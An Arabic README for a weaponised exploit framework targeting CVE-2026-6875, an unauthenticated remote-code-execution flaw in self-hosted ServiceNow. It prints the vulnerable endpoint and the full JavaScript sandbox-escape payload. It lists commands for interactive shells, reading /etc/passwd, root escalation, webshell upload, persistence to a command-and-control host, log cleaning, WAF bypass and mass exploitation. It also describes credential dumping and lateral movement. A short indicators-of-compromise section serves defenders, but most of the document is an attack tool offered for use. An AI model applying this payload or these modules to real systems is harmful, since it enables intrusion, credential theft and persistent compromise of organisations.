CVE-2026-6875 - إطار عمل استغلال RCE بدون مصادقة لـ ServiceNow ومتحقق PoC 🔥

ServiceNow AI Platform — حقن جافا سكريبت → هروب من الصندوق الرملي → RCE → رفع الصلاحيات إلى الجذر

إطار عمل الاستغلال والمتحقق الآمن
لأغراض الاختبار الأمني المصرح به فقط.

⚖️ إخلاء المسؤولية القانوني والاستخدام المسؤول

تم توفير هذه الأداة لأغراض تعليمية واختبار الاختراق المصرح به فقط.

المؤلفون والمساهمون ليسوا مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون وحدهم مسؤولية ضمان حصولهم على إذن كتابي صريح من مالك الهدف قبل الاختبار. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والقوانين المماثلة في جميع أنحاء العالم.

باستخدام هذه الأداة، فإنك توافق على:

• استخدامها فقط على الأنظمة التي تمتلكها أو لديك إذن صريح لاختبارها.
• الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها.
• عدم استخدامها في أي أنشطة ضارة أو تخريبية أو غير قانونية.

⚠️ تحذير: يتم استغلال هذه الثغرة بنشاط على أرض الواقع. قد يؤدي الاستخدام غير المصرح به إلى عواقب قانونية شديدة.

🔥 نظرة عامة على الثغرة

CVE-2026-6875 هي ثغرة حرجة لتنفيذ الأوامر عن بعد (RCE) بدون مصادقة في منصة ServiceNow AI (المعروفة سابقًا باسم Now Platform). تسمح للمهاجمين بتجاوز الصندوق الرملي للبرامج النصية وتنفيذ أوامر النظام التعسفية بامتيازات تطبيق ServiceNow.

كيف تعمل:

1. حقن جافا سكريبت: يقبل نقطة النهاية assessment_thanks.do معامل sysparm_assessable_type. بإضافة البادئة javascript: إلى القيمة، يقوم المهاجم بحقن كود جافا سكريبت عشوائي.

2. هروب من الصندوق الرملي: أداة متطورة للهروب من الصندوق الرملي (تربط بين DiscoveryFunctions.getCacheObjectForTable و AbstractAjaxProcessor و Class.create) ترفع قيود الصندوق الرملي لجافا سكريبت.

3. تنفيذ الأوامر عن بعد: يعمل كود جافا المحقون (عبر java.lang.Runtime.exec()) بامتيازات تطبيق ServiceNow، مما يتيح اختراق النظام بالكامل.

4. رفع الصلاحيات: تحاول وحدات ما بعد الاستغلال رفع الصلاحيات إلى الجذر عبر أخطاء تكوين sudo، أو ملفات SUID الثنائية، أو مهام cron القابلة للكتابة، أو استغلال النواة.

حقائق رئيسية:

🛠️ إطار عمل الاستغلال (exploit.py)

يقوم الاستغلال الكامل المسلح بربط حقن جافا سكريبت والهروب من الصندوق الرملي لتحقيق تنفيذ الأوامر عن بعد، مع وحدات متقدمة لما بعد الاستغلال للاستمرار والحركة الجانبية وتفريغ بيانات الاعتماد.

✨ الميزات

أوامر القشرة التفاعلية

🕵️ المتحقق الآمن (verifier.py)

يقوم المتحقق الآمن بالكشف غير الاختراقي عن الثغرات دون تنفيذ حمولات ضارة أو إجراء تغييرات على النظام.

✨ الميزات

📦 التثبيت والمتطلبات

المتطلبات الأساسية

• Python 3.6+
• pip (لمكتبة requests)

تثبيت التبعيات

pip install requests urllib3

[!NOTE] exploit.py يستخدم فقط المكتبة القياسية للوظائف الأساسية؛ requests مطلوبة فقط لميزة --detect، وإشعارات --webhook، والمتحقق الآمن.

🚀 أمثلة على الاستخدام

[1] المتحقق الآمن (verifier.py)

# Single target verification
python verifier.py -u 192.168.1.100

# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# Mass scan from file
python verifier.py -l targets.txt -o results.json

# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q

# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60

# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] إطار عمل الاستغلال (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc

# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp

# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean

# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090

# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass

# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls

# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0

🎯 الإصدارات المتأثرة

⚠️ هام: يتم تصحيح مثيلات ServiceNow السحابية تلقائيًا. تؤثر هذه الثغرة بشكل أساسي على النشر المستضاف ذاتيًا.

🧠 تحليل فني معمق

1. حقن جافا سكريبت (CVE-2026-6875)

توجد الثغرة في نقطة النهاية assessment_thanks.do، والتي تقبل معامل sysparm_assessable_type. من خلال توفير قيمة تبدأ بـ javascript:، تقوم المنصة بتقييم كود جافا سكريبت اللاحق ضمن سياق النظام.

نقطة النهاية الضعيفة:

POST /assessment_thanks.do
sysparm_assessable_type=javascript:gs.print('test')

2. أداة الهروب من الصندوق الرملي

يكون الكود المحقون محصورًا في البداية داخل صندوق رملي. ومع ذلك، من خلال استغلال السلسلة التالية:

javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
  a,"",DiscoveryFunctions.getFirstValueFromTable(
    a,"",DiscoveryFunctions.getFirstValueFromTable(
      a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);

يتم تجاوز الصندوق الرملي، مما يمنح وصولاً كاملاً إلى فئات جافا مثل java.lang.Runtime.

3. وحدات ما بعد الاستغلال

تفريغ بيانات الاعتماد

يبحث عن ملفات .properties و .xml و .conf عن كلمات مرور ومفاتيح API وأسرار:

• /opt/ServiceNow/conf/*.xml
• /var/log/ServiceNow/*.log
• /etc/passwd, /etc/shadow

الاستمرار

يُثبت أبوابًا خلفية عبر:

• Linux: مهام cron (*/5 * * * *)، خدمات systemd، مفاتيح SSH
• Windows: مهام مجدولة (schtasks)، مفاتيح تشغيل في السجل

الحركة الجانبية

يفحص الشبكة الفرعية المحلية للبحث عن مثيلات أخرى لـ ServiceNow أو مضيفات SSH، ويعيد استخدام بيانات الاعتماد المكتشفة.

التنفيذ بدون ملفات

يقوم بتجميع فئة جافا أثناء التشغيل، وتحميلها عبر ClassLoader، وتنفيذها في الذاكرة (بدون كتابة على القرص).

تقنيات تجاوز WAF

1. ترميز URL مزدوج
2. تعليقات جافا سكريبت ({/*comment*/})
3. هروب يونيكود (\u0077 لـ w)
4. حقن فراغات
5. تقسيم الكلمات المفتاحية (ne\u0077 لـ new)
6. اختيار عشوائي للتقنية

🔍 مؤشرات الاختراق (IoCs)

تحليل السجلات

ابحث في سجلات ServiceNow عن:

• extraweb_access.log – طلبات إلى /assessment_thanks.do مع sysparm_assessable_type تحتوي على:
  • javascript:
  • سلاسل مشفرة بـ Base64
  • DiscoveryFunctions.getCacheObjectForTable
  • AbstractAjaxProcessor

نظام الملفات

• ملفات غير متوقعة في /var/tmp/ (مثل shell.jsp، نصوص .sh)
• ملفات معدلة /etc/passwd، /etc/shadow، أو ~/.ssh/authorized_keys
• مهام cron جديدة (crontab -l)
• خدمات systemd جديدة (/etc/systemd/system/)

العمليات

• عمليات مشبوهة (/bin/bash -i، nc، curl، wget، python -c)
• اتصالات شبكة غير متوقعة لعناوين IP خارجية

الشبكة

• اتصالات صادرة من خادم ServiceNow إلى عناوين IP غير مصرح بها
• اتصالات قشرة عكسية على منافذ غير معتادة

📚 المراجع

• NVD - CVE-2026-6875
• إرشاد أمان ServiceNow (KB3137947)
• كتالوج CISA KEV
• Searchlight Cyber – وصف فني
• The Hacker News – استغلال ثغرة اليوم الصفري في ServiceNow

🔗 استغلالات أخرى

[+] CVE-2026-15409/15410 - إطار عمل استغلال متعدد لـ SonicWall SMA1000
https://github.com/tc4dy/CVE-2026-15409-15410-Framework

[+] CVE-2026-41091 - SolarFlare (RedSun) رفع صلاحيات Microsoft Defender
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit

[+] CVE-2026-57821 - مجموعة أدوات حقن SQL لـ Apache Fineract
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit

[+] CVE-2026-41940 - تجاوز المصادقة في cPanel/WHM
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit